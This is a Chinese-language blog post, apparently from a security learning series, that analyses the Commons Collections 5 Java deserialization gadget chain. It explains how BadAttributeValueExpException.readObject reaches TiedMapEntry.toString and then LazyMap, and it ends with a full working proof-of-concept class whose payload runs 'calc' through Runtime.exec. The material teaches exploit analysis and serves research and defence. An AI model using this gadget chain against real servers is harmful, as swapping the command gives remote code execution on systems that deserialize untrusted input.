[Java反序列化]—CommonsCollections5

先贴张其他师傅的图

其实 CC5就是CC1的一种变形,前半段改修一下,后面接上就是CC5了。CC1是通过AnnotationInvocationHandler.invoke()获取get(),而CC5则是通过TiedMapEntry.toString(),其余部分都是一样的

分析

看看TiedMapEntry如何调用的 get 方法

public String toString() {
    return getKey() + "=" + getValue();
}

getValue 中调用了 get()

public Object getValue() {
    return map.get(key);
}

这里可以用构造器修改map的值,就可以接上后面的部分

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

再来看看哪里调用的toString()

全局搜索,在在BadAttributeValueExpException类中的readObject()中发现调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}
val = valObj.toString();

调用的是valObj .toString(), 所以我们要构造valObj为 TiedMapEntry类,看一下valObj的定义:

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

所以可以通过修改val的值,来修改valobj,而val是本类中的一个私有属性,直接反射修改即可

private Object val;

链子就清晰了,构造

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

这里实例化这个对象,需要传值 NUll,因为在他的构造方法中 有个

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

如果传值为null ,则赋值null给var,如果val有值,则会直接调用toString,提前出发我们反序列化。

接着通过反射 修改val的值为 TiedMapEntry 类就可以了

最终poc

package CommonsCollections5;

import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"snowyf");
        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("1.txt");

    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值